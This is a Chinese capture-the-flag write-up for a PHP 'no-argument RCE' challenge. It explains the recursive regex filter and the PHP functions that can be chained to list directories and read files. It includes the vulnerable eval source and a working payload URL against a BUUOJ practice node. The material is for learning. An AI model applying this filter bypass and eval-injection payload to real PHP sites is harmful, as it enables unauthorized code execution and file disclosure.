无参数rce
源码中过滤了常用伪协议,用正则表达式规定只可以使用无参数函数进行RCE
对/\w+\ ((?R)? \ )/的理解
(?R)是引用当前表达式的意思
(?R)? 这里多一个?表示可以有引用,也可以没有。
可以用\w+((?R)?)替换到(?R)的位置,因此可以衍生成匹配\w+\ (\w+((?R)?\ ))、\w+(\w+(\w+((?R)?\ )\ )\ )等等。
特征:
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['exp'])) { eval($_GET['exp']); }
解决方法是, 使用函数套娃的形式,来逐层实现我们RCE的命令.
需要了解相关函数
粘贴大佬整理:
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换) localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大) current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西 getcwd() :取得当前工作目录 dirname():函数返回路径中的目录部分 array_flip() :交换数组中的键和值,成功时返回交换后的数组 array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。 chdir() :函数改变当前的目录。
var_dump() 函数用于输出变量的相关信息
eval()、assert():命令执行
hightlight_file()、show_source()、readfile():读取文件内容
eg:current(localeconv())就能构造一个‘.’
数组移位操作
粘贴大佬整理:
end() : 将内部指针指向数组中的最后一个元素,并输出 next() :将内部指针指向数组中的下一个元素,并输出 prev() :将内部指针指向数组中的上一个元素,并输出 reset() : 将内部指针指向数组中的第一个元素,并输出 each() : 返回当前元素的键名和键值,并将内部指针向前移动
[GXYCTF2019]禁止套娃 无参数rce
php正则表达式
(描述了一种字符串匹配的模式,可以用来检查一个串是否含有某种子串、将匹配的子串做替换或者从某个串中取出符合某个条件的子串等。)
-
preg_match()
: 在字符串中搜索匹配的模式,只返回第一个匹配项。 -
preg_match_all()
: 在字符串中搜索匹配的模式,返回所有匹配项。 -
preg_replace()
: 在字符串中搜索匹配的模式,然后进行替换。
wp
首先使用dirsearch扫目录发现这种情况,那么可能是.git泄露,想到使用githack扫,
经过扫描找到了源码
如下:该网站使用了正则匹配 其实这就是无参数的rce
<?php include "flag.php"; //——包含了一个名为flag.php的外部文件 echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ //——确认是否有一个exp参数 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { //——检查exp参数的值是否不包含 data://、filter://、php:// 和 phar:// if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { //——检查所有函数调用都不能存在,仅剩余一个";" //——也可以看出此题为无参数rce if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { //——再次检查不能剩余上面这些字符 // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); //——该行代码如果取消注释将高亮显示当前文件源代码 ?> 可以看出它的主要功能是处理一个名为exp的GET请求参数,根据参数值进行一些参数
-
var_dump(localeconv());我们能看见第一个string[1]就是一个“.”,这个点是由localeconv()产生的
-
利用
current()
函数将这个点取出来的,‘.’
代表的是当前目录,那接下来就很好理解了,我们可以利用这个点完成遍历目录的操作,相当于就是linux
中的ls
指令 -
用
scandir('.')
返回当前目录中的文件和子目录发现flag在倒数第二个数组
-
通过array_reverse()将数组内容反转,让它从倒数第二的位置变成正数第二
-
next()找到flag
-
用highlight_file()返回文件内容
http://3779fe37-75b4-40c4-8931-8d282173aa3c.node5.buuoj.cn:81/?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));